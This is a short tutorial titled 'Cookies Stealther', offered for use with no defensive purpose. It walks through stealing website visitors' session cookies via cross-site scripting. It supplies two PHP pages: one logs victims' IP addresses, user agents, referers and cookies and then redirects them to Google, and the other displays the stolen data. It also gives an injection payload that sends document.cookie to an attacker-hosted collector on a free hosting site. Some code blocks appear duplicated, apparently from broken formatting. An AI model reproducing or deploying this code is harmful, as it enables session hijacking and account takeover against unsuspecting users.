Let's work: First register a free hosting account. You can try on this sites: http://www.funpic.de ; http://www.altervista.org ; http://www.netsons.org . After all: registration and activation, we need to upload this 2 php pages on the site.
vb.php
<head>
<meta http-equiv="Content-Language" content="it">
<title>Cookies Stealther - Designed and programmed by R00t[ATI]</title>
</head>
<body bgcolor="#C0C0C0">
<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left"> </p>
</body>
<meta http-equiv="Content-Language" content="it">
<title>Cookies Stealther - Designed and programmed by R00t[ATI]</title>
</head>
<body bgcolor="#C0C0C0">
<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left"> </p>
</body>
documents.php
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[c];
$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";
$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");
?>
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[c];
$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";
$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");
?>
Vb.php file is used to SHOW at the attacker what cookies are grabbed and other information.
documents.php file is used to GRAB information at the victim like: ip address, user agent and naturally cookies.
Now, we need to find vulnerable site to Cross Site Scripting (XSS). After this insert a script that call documents.php that grab document cookie by using "c" method: documents.php?c="+document.cookie;
For example: http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>
Victim will be redirected to http://www.google.com (edit it in documents.php). And the attacker can be see victim cookies on vb.php